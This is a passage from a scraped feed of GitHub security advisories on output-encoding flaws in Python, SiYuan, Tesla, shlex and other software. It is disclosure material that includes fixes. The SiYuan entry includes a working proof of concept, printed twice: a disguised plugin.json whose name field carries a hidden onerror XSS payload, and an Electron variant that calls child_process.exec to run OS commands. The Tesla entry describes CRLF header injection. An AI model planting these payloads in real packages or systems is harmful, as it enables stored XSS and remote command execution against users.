"url": "https://github.com/StevenWeathers/thunderdome-planning-poker/security/advisories/GHSA-26cm-qrc6-mfgj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41232"
},
{
"type": "WEB",
"url": "https://github.com/github/securitylab/issues/464#issuecomment-957094994"
},
{
"type": "WEB",
"url": "https://github.com/StevenWeathers/thunderdome-planning-poker/commit/f1524d01e8a0f2d6c3db5461c742456c692dd8c1"
},
{
"type": "PACKAGE",
"url": "https://github.com/StevenWeathers/thunderdome-planning-poker"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Improper Neutralization of Special Elements used in an LDAP Query in stevenweathers/thunderdome-planning-poker"
}
GHSA-2755-2MM4-RM5C
Vulnerability from github – Published: 2026-04-22 21:32 – Updated: 2026-05-18 18:31http.cookies.Morsel.js_output() returns an inline snippet and only escapes " for JavaScript string context. It does not neutralize the HTML parser-sensitive sequence inside the generated script element. Mitigation base64-encodes the cookie value to disallow escaping using cookie value.
{
"affected": [],
"aliases": [
"CVE-2026-6019"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-150"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-22T20:16:42Z",
"severity": "LOW"
},
"details": "http.cookies.Morsel.js_output() returns an inline \u003cscript\u003e snippet and only escapes \" for JavaScript string context. It does not neutralize the HTML parser-sensitive sequence \u003c/script\u003e inside the generated script element. Mitigation base64-encodes the cookie value to disallow escaping using cookie value.",
"id": "GHSA-2755-2mm4-rm5c",
"modified": "2026-05-18T18:31:23Z",
"published": "2026-04-22T21:32:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6019"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/issues/90309"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/pull/148848"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/3c59b8b53fc75c7f9578d16fb8201ceb43e8f76c"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/76b3923d688c0efc580658476c5f525ec8735104"
},
{
"type": "WEB",
"url": "https://github.com/python/cpython/commit/f795e042043dfe26c42e1971d4502c1cdc4c65b8"
},
{
"type": "WEB",
"url": "https://mail.python.org/archives/list/security-announce@python.org/thread/IVNWGV2BBNC3RHQAFS22UP4DY56SAXX3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-27Q3-84PW-QMF2
Vulnerability from github – Published: 2023-02-24 12:31 – Updated: 2023-03-03 18:30A CWE-117: Improper Output Neutralization for Logs vulnerability exists that could cause the misinterpretation of log files when malicious packets are sent to the Geo SCADA server's database web port (default 443). Affected products: EcoStruxure Geo SCADA Expert 2019, EcoStruxure Geo SCADA Expert 2020, EcoStruxure Geo SCADA Expert 2021(All Versions prior to October 2022), ClearSCADA (All Versions)
{
"affected": [],
"aliases": [
"CVE-2023-0595"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-117"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-24T11:15:00Z",
"severity": "MODERATE"
},
"details": "A CWE-117: Improper Output Neutralization for Logs vulnerability exists that could cause the misinterpretation of log files when malicious packets are sent to the Geo SCADA server\u0027s database web port (default 443). Affected products: EcoStruxure Geo SCADA Expert 2019, EcoStruxure Geo SCADA Expert 2020, EcoStruxure Geo SCADA Expert 2021(All Versions prior to October 2022), ClearSCADA (All Versions)",
"id": "GHSA-27q3-84pw-qmf2",
"modified": "2023-03-03T18:30:27Z",
"published": "2023-02-24T12:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-0595"
},
{
"type": "WEB",
"url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2023-045-01\u0026p_enDocType=Security+and+Safety+Notice\u0026p_File_Name=SEVD-2023-045-01.pdf"
},
{
"type": "WEB",
"url": "https://www.se.com/ww/en/download/document/SEVD-2023-045-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-27QC-M5GF-JV5R
Vulnerability from github – Published: 2026-05-13 15:33 – Updated: 2026-06-08 20:13Summary
SiYuan's Bazaar (community marketplace) renders the name and version fields of a package's plugin.json (and the equivalent theme.json / template.json / widget.json / icon.json) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper sanitizePackageDisplayStrings in kernel/bazaar/package.go HTML-escapes only Author, DisplayName, and Description — Name and Version flow through to the renderer raw. The frontend at app/src/config/bazaar.ts substitutes them into HTML template strings via ${item.preferredName} / ${data.name} / v${data.version} and assigns the result to innerHTML. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab.
Because the desktop client is built on Electron with nodeIntegration: true, contextIsolation: false, and webSecurity: false (app/electron/main.js:407-411), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is zero-click on the list view — opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required.
A second preferredName path exists: when displayName: {} (empty locale map), GetPreferredLocaleString falls back to the unescaped pkg.Name, so even a normal-looking visible plugin name carries the payload through the same sink.
Details
Server-side allowlist — kernel/bazaar/package.go:134-145:
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
// pkg.Name and pkg.Version are NOT escaped
}
PreferredName fallback — kernel/bazaar/installed.go:59 and kernel/bazaar/package.go:148-162:
// installed.go:59
pkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name)
// package.go:148-162
func GetPreferredLocaleString(m LocaleStrings, fallback string) string {
if len(m) == 0 { return fallback } // ← unescaped pkg.Name reaches the renderer
if v := strings.TrimSpace(m[util.Lang]); v != "" { return v }
if v := strings.TrimSpace(m["default"]); v != "" { return v }
if v := strings.TrimSpace(m["en_US"]); v != "" { return v }
return fallback
}
Online marketplace path skips the kernel sanitizer — kernel/bazaar/package.go:127 + kernel/bazaar/bazaar.go:48:
// package.go:127 (only the local install path calls sanitizePackageDisplayStrings)
sanitizePackageDisplayStrings(ret)
buildBazaarPackageWithMetadata (bazaar.go:48), used to build the online marketplace listing, does not call the kernel's sanitizePackageDisplayStrings. Sanitization for the online stage is delegated to the siyuan-note/bazaar GitHub-Action workflow.
The upstream workflow has the same gap — siyuan-note/bazaar/actions/stage/main.go:897-909:
// sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义,避免 XSS。
// (跟思源内核 kernel/bazaar/package.go 保持一致)
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
}
The function is byte-identical to the kernel helper — the Chinese comment translates to "(kept in sync with the SiYuan kernel kernel/bazaar/package.go)". It is invoked at main.go:707, 715, 723 once per package type during staging. Name, Version, and Keywords are unescaped at both layers: the kernel for local installs, the workflow for online listings. A malicious plugin.json submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing.
Frontend sinks — app/src/config/bazaar.ts:
// :430 — installed-plugin card list (zero-click)
${item.preferredName}
// :526 — package detail view
<a href="${data.repoURL}" ... title="GitHub Repo">${data.name}</a>
// :540 — package detail view, version stripe
<div ... style="line-height: 20px;">${window.siyuan.languages.currentVer}<br>v${data.version}</div>
The constructed template strings are subsequently assigned to bazaar.element.innerHTML / readmeElement.innerHTML / mdElement.innerHTML (lines 358, 472, 512, 600).
Renderer privilege boundary — app/electron/main.js:407-411:
webPreferences: {
nodeIntegration: true,
webviewTag: true,
webSecurity: false,
contextIsolation: false,
}
JavaScript executing in the marketplace tab can call require('child_process').exec(...) directly, escalating DOM XSS to OS command execution.
PoC
End-to-end verified against the official b3log/siyuan:v3.6.5 Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron child_process.exec payload.
1. Run a stock SiYuan v3.6.5 kernel:
mkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin
docker run -d --name siyuan-poc -p 16806:6806 \
-v /tmp/siyuan-poc-ws:/siyuan/workspace \
-e SIYUAN_ACCESS_AUTH_CODE=test123 \
b3log/siyuan:v3.6.5 \
--workspace=/siyuan/workspace --accessAuthCode=test123
2. Plant a malicious plugin manifest at /tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json:
{
"name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"displayName": {},
"description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."},
"author": "markdown-utils",
"version": "1.4.2",
"url": "https://github.com/markdown-utils/markdown-utilities",
"backends": ["all"],
"frontends": ["all"]
}
The visible portion of the name field is the literal string Markdown Utilities. The <img> tag is rendered with display:none, so the marketplace card looks like a legitimate plugin entry — no broken-image icon, no suspicious text.
3. Verify the kernel returns the unescaped payload:
Authenticate via http://127.0.0.1:16806/ (auth code test123), then call the API as the logged-in user:
curl -s -b 'siyuan=<session-cookie>' \
-X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \
-H 'Content-Type: application/json' \
-d '{"frontend":"desktop","keyword":""}'
Observed (verbatim):
{
"preferredName": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">",
"version": "1.4.2"
}
The HTML payload arrives at the client unmodified.
4. Trigger via the UI:
In a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, bazaar.ts:430 substitutes ${item.preferredName} into the card HTML, the result is assigned to bazaar.element.innerHTML, the browser parses the <img> element, fails to load src=x, fires onerror, and alert("SiYuan Bazaar XSS") pops. The card itself displays as a normal-looking "Markdown Utilities" entry; the malicious markup is invisible.
5. Electron RCE substitution:
The same payload, modified for the Electron desktop client, replaces the alert with a Node-API call:
"name": "Markdown Utilities<img src=x onerror=\"require(`child_process`).exec(`open -a Calculator`)\" style=\"display:none\">"
On any Electron-packaged SiYuan v3.6.5 (e.g. siyuan-3.6.5-mac-arm64.dmg), opening Settings → Marketplace → Downloaded → Plugins launches Calculator. The same primitive can run any shell command available to the desktop user.
Impact
- Stored XSS → arbitrary OS command execution in the desktop Electron client under the victim's user account, with full filesystem and network access via Node.js APIs.
- Triggers on view, not on install. Opening Settings → Marketplace → Downloaded → Plugins is sufficient; the payload runs before any "Install" or "Update" button is clicked.
- Visually undetectable. The
display:nonestyle hides the malicious markup, so the marketplace card appears entirely legitimate. - Survives transport. The payload is a plain JSON string; it round-trips through tarball packaging, sync replication,
.sy.zipexport/import, and any other workspace-content transport without modification. - Low attacker prerequisites. Any path that gets a manifest into the workspace plugin directory triggers the bug. The Bazaar marketplace itself — both the install flow and the post-listing release-then-poison flow — is the canonical low-friction delivery channel.
Suggested fix
Primary: extend the kernel allowlist in kernel/bazaar/package.go:134-145:
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil { return }
pkg.Author = html.EscapeString(pkg.Author)
+ pkg.Name = html.EscapeString(pkg.Name)
+ pkg.Version = html.EscapeString(pkg.Version)
for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }
for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }
+ for i, kw := range pkg.Keywords { pkg.Keywords[i] = html.EscapeString(kw) }
}
Secondary: also call sanitizePackageDisplayStrings from kernel/bazaar/bazaar.go:48 (buildBazaarPackageWithMetadata) so that the kernel applies the same protection regardless of whether metadata originates from a local install or the online stage. The same two-line addition is needed in the upstream workflow at siyuan-note/bazaar/actions/stage/main.go:897-909 (already explicitly committed to "kept in sync with the SiYuan kernel kernel/bazaar/package.go").
Tertiary (defense in depth): wrap the frontend sinks in app/src/config/bazaar.ts (${item.preferredName}, ${data.name}, ${data.version}) with the existing escapeHtml(...) helper.
Renderer hardening: switching the main BrowserWindow at app/electron/main.js:407-411 to contextIsolation: true with a preload bridge would bound any future XSS in the renderer to DOM impact instead of OS command execution.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260421031503-96dfe0bea474"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45375"
],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-13T15:33:57Z",
"nvd_published_at": "2026-05-14T19:16:39Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nSiYuan\u0027s Bazaar (community marketplace) renders the `name` and `version` fields of a package\u0027s `plugin.json` (and the equivalent `theme.json` / `template.json` / `widget.json` / `icon.json`) into the Settings \u2192 Marketplace UI without HTML escaping. The kernel-side helper `sanitizePackageDisplayStrings` in `kernel/bazaar/package.go` HTML-escapes only `Author`, `DisplayName`, and `Description` \u2014 `Name` and `Version` flow through to the renderer raw. The frontend at `app/src/config/bazaar.ts` substitutes them into HTML template strings via `${item.preferredName}` / `${data.name}` / `v${data.version}` and assigns the result to `innerHTML`. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab.\n\nBecause the desktop client is built on Electron with `nodeIntegration: true`, `contextIsolation: false`, and `webSecurity: false` (`app/electron/main.js:407-411`), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim\u0027s account. The trigger is **zero-click on the list view** \u2014 opening Settings \u2192 Marketplace \u2192 Downloaded \u2192 Plugins is sufficient; no Install/Update click is required.\n\nA second `preferredName` path exists: when `displayName: {}` (empty locale map), `GetPreferredLocaleString` falls back to the unescaped `pkg.Name`, so even a normal-looking visible plugin name carries the payload through the same sink.\n\n### Details\n\n**Server-side allowlist \u2014 `kernel/bazaar/package.go:134-145`:**\n```go\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n if pkg == nil { return }\n pkg.Author = html.EscapeString(pkg.Author)\n for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }\n for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }\n // pkg.Name and pkg.Version are NOT escaped\n}\n```\n\n**`PreferredName` fallback \u2014 `kernel/bazaar/installed.go:59` and `kernel/bazaar/package.go:148-162`:**\n```go\n// installed.go:59\npkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name)\n\n// package.go:148-162\nfunc GetPreferredLocaleString(m LocaleStrings, fallback string) string {\n if len(m) == 0 { return fallback } // \u2190 unescaped pkg.Name reaches the renderer\n if v := strings.TrimSpace(m[util.Lang]); v != \"\" { return v }\n if v := strings.TrimSpace(m[\"default\"]); v != \"\" { return v }\n if v := strings.TrimSpace(m[\"en_US\"]); v != \"\" { return v }\n return fallback\n}\n```\n\n**Online marketplace path skips the kernel sanitizer \u2014 `kernel/bazaar/package.go:127` + `kernel/bazaar/bazaar.go:48`:**\n```go\n// package.go:127 (only the local install path calls sanitizePackageDisplayStrings)\nsanitizePackageDisplayStrings(ret)\n```\n`buildBazaarPackageWithMetadata` (`bazaar.go:48`), used to build the online marketplace listing, does **not** call the kernel\u0027s `sanitizePackageDisplayStrings`. Sanitization for the online stage is delegated to the `siyuan-note/bazaar` GitHub-Action workflow.\n\n**The upstream workflow has the same gap \u2014 `siyuan-note/bazaar/actions/stage/main.go:897-909`:**\n```go\n// sanitizePackageDisplayStrings \u5bf9\u96c6\u5e02\u5305\u76f4\u63a5\u663e\u793a\u7684\u4fe1\u606f\u505a HTML \u8f6c\u4e49\uff0c\u907f\u514d XSS\u3002\n// \uff08\u8ddf\u601d\u6e90\u5185\u6838 kernel/bazaar/package.go \u4fdd\u6301\u4e00\u81f4\uff09\nfunc sanitizePackageDisplayStrings(pkg *Package) {\n if pkg == nil { return }\n pkg.Author = html.EscapeString(pkg.Author)\n for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }\n for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }\n}\n```\nThe function is byte-identical to the kernel helper \u2014 the Chinese comment translates to *\"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)\"*. It is invoked at `main.go:707, 715, 723` once per package type during staging. `Name`, `Version`, and `Keywords` are unescaped at **both** layers: the kernel for local installs, the workflow for online listings. A malicious `plugin.json` submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing.\n\n**Frontend sinks \u2014 `app/src/config/bazaar.ts`:**\n```ts\n// :430 \u2014 installed-plugin card list (zero-click)\n${item.preferredName}\n\n// :526 \u2014 package detail view\n\u003ca href=\"${data.repoURL}\" ... title=\"GitHub Repo\"\u003e${data.name}\u003c/a\u003e\n\n// :540 \u2014 package detail view, version stripe\n\u003cdiv ... style=\"line-height: 20px;\"\u003e${window.siyuan.languages.currentVer}\u003cbr\u003ev${data.version}\u003c/div\u003e\n```\nThe constructed template strings are subsequently assigned to `bazaar.element.innerHTML` / `readmeElement.innerHTML` / `mdElement.innerHTML` (lines 358, 472, 512, 600).\n\n**Renderer privilege boundary \u2014 `app/electron/main.js:407-411`:**\n```js\nwebPreferences: {\n nodeIntegration: true,\n webviewTag: true,\n webSecurity: false,\n contextIsolation: false,\n}\n```\nJavaScript executing in the marketplace tab can call `require(\u0027child_process\u0027).exec(...)` directly, escalating DOM XSS to OS command execution.\n\n### PoC\n\nEnd-to-end verified against the official `b3log/siyuan:v3.6.5` Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron `child_process.exec` payload.\n\n**1. Run a stock SiYuan v3.6.5 kernel:**\n```sh\nmkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin\ndocker run -d --name siyuan-poc -p 16806:6806 \\\n -v /tmp/siyuan-poc-ws:/siyuan/workspace \\\n -e SIYUAN_ACCESS_AUTH_CODE=test123 \\\n b3log/siyuan:v3.6.5 \\\n --workspace=/siyuan/workspace --accessAuthCode=test123\n```\n\n**2. Plant a malicious plugin manifest at `/tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json`:**\n```json\n{\n \"name\": \"Markdown Utilities\u003cimg src=x onerror=\\\"alert(`SiYuan Bazaar XSS`)\\\" style=\\\"display:none\\\"\u003e\",\n \"displayName\": {},\n \"description\": {\"default\": \"A small toolkit of markdown helpers - table sort, link checker, wordcount, etc.\"},\n \"author\": \"markdown-utils\",\n \"version\": \"1.4.2\",\n \"url\": \"https://github.com/markdown-utils/markdown-utilities\",\n \"backends\": [\"all\"],\n \"frontends\": [\"all\"]\n}\n```\nThe visible portion of the `name` field is the literal string `Markdown Utilities`. The `\u003cimg\u003e` tag is rendered with `display:none`, so the marketplace card looks like a legitimate plugin entry \u2014 no broken-image icon, no suspicious text.\n\n**3. Verify the kernel returns the unescaped payload:**\n\nAuthenticate via `http://127.0.0.1:16806/` (auth code `test123`), then call the API as the logged-in user:\n```sh\ncurl -s -b \u0027siyuan=\u003csession-cookie\u003e\u0027 \\\n -X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\"frontend\":\"desktop\",\"keyword\":\"\"}\u0027\n```\nObserved (verbatim):\n```json\n{\n \"preferredName\": \"Markdown Utilities\u003cimg src=x onerror=\\\"alert(`SiYuan Bazaar XSS`)\\\" style=\\\"display:none\\\"\u003e\",\n \"name\": \"Markdown Utilities\u003cimg src=x onerror=\\\"alert(`SiYuan Bazaar XSS`)\\\" style=\\\"display:none\\\"\u003e\",\n \"version\": \"1.4.2\"\n}\n```\nThe HTML payload arrives at the client unmodified.\n\n**4. Trigger via the UI:**\n\nIn a browser logged into the running SiYuan instance, open Settings \u2192 Marketplace \u2192 Downloaded \u2192 Plugins. The marketplace card list renders, `bazaar.ts:430` substitutes `${item.preferredName}` into the card HTML, the result is assigned to `bazaar.element.innerHTML`, the browser parses the `\u003cimg\u003e` element, fails to load `src=x`, fires `onerror`, and **`alert(\"SiYuan Bazaar XSS\")` pops**. The card itself displays as a normal-looking \"Markdown Utilities\" entry; the malicious markup is invisible.\n\n**5. Electron RCE substitution:**\n\nThe same payload, modified for the Electron desktop client, replaces the alert with a Node-API call:\n```json\n\"name\": \"Markdown Utilities\u003cimg src=x onerror=\\\"require(`child_process`).exec(`open -a Calculator`)\\\" style=\\\"display:none\\\"\u003e\"\n```\nOn any Electron-packaged SiYuan v3.6.5 (e.g. `siyuan-3.6.5-mac-arm64.dmg`), opening Settings \u2192 Marketplace \u2192 Downloaded \u2192 Plugins launches Calculator. The same primitive can run any shell command available to the desktop user.\n\n### Impact\n\n- **Stored XSS \u2192 arbitrary OS command execution** in the desktop Electron client under the victim\u0027s user account, with full filesystem and network access via Node.js APIs.\n- **Triggers on view, not on install.** Opening Settings \u2192 Marketplace \u2192 Downloaded \u2192 Plugins is sufficient; the payload runs before any \"Install\" or \"Update\" button is clicked.\n- **Visually undetectable.** The `display:none` style hides the malicious markup, so the marketplace card appears entirely legitimate.\n- **Survives transport.** The payload is a plain JSON string; it round-trips through tarball packaging, sync replication, `.sy.zip` export/import, and any other workspace-content transport without modification.\n- **Low attacker prerequisites.** Any path that gets a manifest into the workspace plugin directory triggers the bug. The Bazaar marketplace itself \u2014 both the install flow and the post-listing release-then-poison flow \u2014 is the canonical low-friction delivery channel.\n\n### Suggested fix\n\nPrimary: extend the kernel allowlist in `kernel/bazaar/package.go:134-145`:\n```diff\n func sanitizePackageDisplayStrings(pkg *Package) {\n if pkg == nil { return }\n pkg.Author = html.EscapeString(pkg.Author)\n+ pkg.Name = html.EscapeString(pkg.Name)\n+ pkg.Version = html.EscapeString(pkg.Version)\n for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) }\n for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) }\n+ for i, kw := range pkg.Keywords { pkg.Keywords[i] = html.EscapeString(kw) }\n }\n```\n\nSecondary: also call `sanitizePackageDisplayStrings` from `kernel/bazaar/bazaar.go:48` (`buildBazaarPackageWithMetadata`) so that the kernel applies the same protection regardless of whether metadata originates from a local install or the online stage. The same two-line addition is needed in the upstream workflow at `siyuan-note/bazaar/actions/stage/main.go:897-909` (already explicitly committed to \"kept in sync with the SiYuan kernel kernel/bazaar/package.go\").\n\nTertiary (defense in depth): wrap the frontend sinks in `app/src/config/bazaar.ts` (`${item.preferredName}`, `${data.name}`, `${data.version}`) with the existing `escapeHtml(...)` helper.\n\nRenderer hardening: switching the main BrowserWindow at `app/electron/main.js:407-411` to `contextIsolation: true` with a preload bridge would bound any future XSS in the renderer to DOM impact instead of OS command execution.",
"id": "GHSA-27qc-m5gf-jv5r",
"modified": "2026-06-08T20:13:24Z",
"published": "2026-05-13T15:33:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-27qc-m5gf-jv5r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45375"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan Bazaar marketplace renders unescaped package `name` and `version` metadata, allowing stored XSS and Electron code execution"
}
GHSA-284G-PXP5-92CP
Vulnerability from github – Published: 2024-11-20 00:32 – Updated: 2024-11-22 21:32In ArrayConcatVisitor of builtins-array.cc, there is a possible type confusion due to improper input validation. This could lead to remote code execution with no additional execution privileges needed. User interaction is needed for exploitation.
{
"affected": [],
"aliases": [
"CVE-2018-9433"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-19T22:15:19Z",
"severity": "HIGH"
},
"details": "In ArrayConcatVisitor of builtins-array.cc, there is a possible type confusion due to improper input validation. This could lead to remote code execution with no additional execution privileges needed. User interaction is needed for exploitation.",
"id": "GHSA-284g-pxp5-92cp",
"modified": "2024-11-22T21:32:13Z",
"published": "2024-11-20T00:32:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9433"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2018-07-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-286M-6PG9-V42V
Vulnerability from github – Published: 2025-07-28 00:30 – Updated: 2025-07-28 15:57Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-r7qv-8r2h-pg27. This link is maintained to preserve external references.
Original Description
The shlex crate before 1.2.1 for Rust allows unquoted and unescaped instances of the { and \xa0 characters, which may facilitate command injection.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "shlex"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2025-07-28T15:57:12Z",
"nvd_published_at": "2025-07-27T22:15:25Z",
"severity": "LOW"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-r7qv-8r2h-pg27. This link is maintained to preserve external references.\n\n### Original Description\nThe shlex crate before 1.2.1 for Rust allows unquoted and unescaped instances of the { and \\xa0 characters, which may facilitate command injection.",
"id": "GHSA-286m-6pg9-v42v",
"modified": "2025-07-28T15:57:12Z",
"published": "2025-07-28T00:30:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/comex/rust-shlex/security/advisories/GHSA-r7qv-8r2h-pg27"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58266"
},
{
"type": "WEB",
"url": "https://crates.io/crates/shlex"
},
{
"type": "PACKAGE",
"url": "https://github.com/comex/rust-shlex"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2024-0006.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: Multiple issues involving quote API in shlex",
"withdrawn": "2025-07-28T15:57:12Z"
}
GHSA-28JH-G32X-V9V4
Vulnerability from github – Published: 2026-07-10 00:04 – Updated: 2026-07-10 00:04Summary
Tesla.Multipart.part_headers_for_disposition/1 interpolates Content-Disposition parameter values (field name, filename, and other opts) verbatim into the part header line without encoding or escaping any special characters. An attacker who controls a filename, field name, or other disposition parameter can use unescaped double-quotes to inject extra disposition key-value pairs, or CRLF sequences to inject additional part headers or prepend bytes to the part body.
Details
part_headers_for_disposition/1 in lib/tesla/multipart.ex formats each disposition parameter as k="v" with no sanitization. Values flow in from add_field/4 (the name argument), add_file/3 and add_file_content/4 (the filename argument and any disposition opts). A " in the value closes the quoted parameter early, allowing extra ; key="value" pairs to be appended. A \r\n ends the Content-Disposition header line entirely, with subsequent bytes interpreted as additional part headers (e.g. a forged Content-Type); a second \r\n ends the whole part header block and prepends attacker bytes to the part body.
The default-filename path in add_file/3 derives the name via Path.basename/1, which does not strip CR or LF, so any code that forwards a partially attacker-controlled file path is equally vulnerable.
PoC
- Call
Tesla.Multipart.add_file_content/4with a filename containing\r\nX-Injected: evil. - POST the multipart body to any upstream via any Tesla adapter.
- The upstream receives
X-Injected: evilas a standalone header line on the affected part.
Impact
Low severity (CVSS v4.0: 2.1). Any application using tesla 0.8.0 through 1.18.2 that passes untrusted input into add_field/4, add_file/3, or add_file_content/4 disposition parameters is affected. Consequences range from forging part-level headers to body prepending against lenient multipart parsers. Fixed in tesla 1.18.3.
Workarounds
Validate disposition parameter values before passing them to the multipart API, rejecting any value that contains \r, \n, or ".
Resources
- Introduction commit: https://github.com/elixir-tesla/tesla/commit/6ebfdb9abe9c6f119408045b933d82462decd351
- Patch commit: https://github.com/elixir-tesla/tesla/commit/bb1a2c3da2775924d96e3db8e315dcc4d5d2246e
{
"affected": [
{
"package": {
"ecosystem": "Hex",
"name": "tesla"
},
"ranges": [
{
"events": [
{
"introduced": "0.8.0"
},
{
"fixed": "1.18.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48598"
],
"database_specific": {
"cwe_ids": [
"CWE-116"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-10T00:04:37Z",
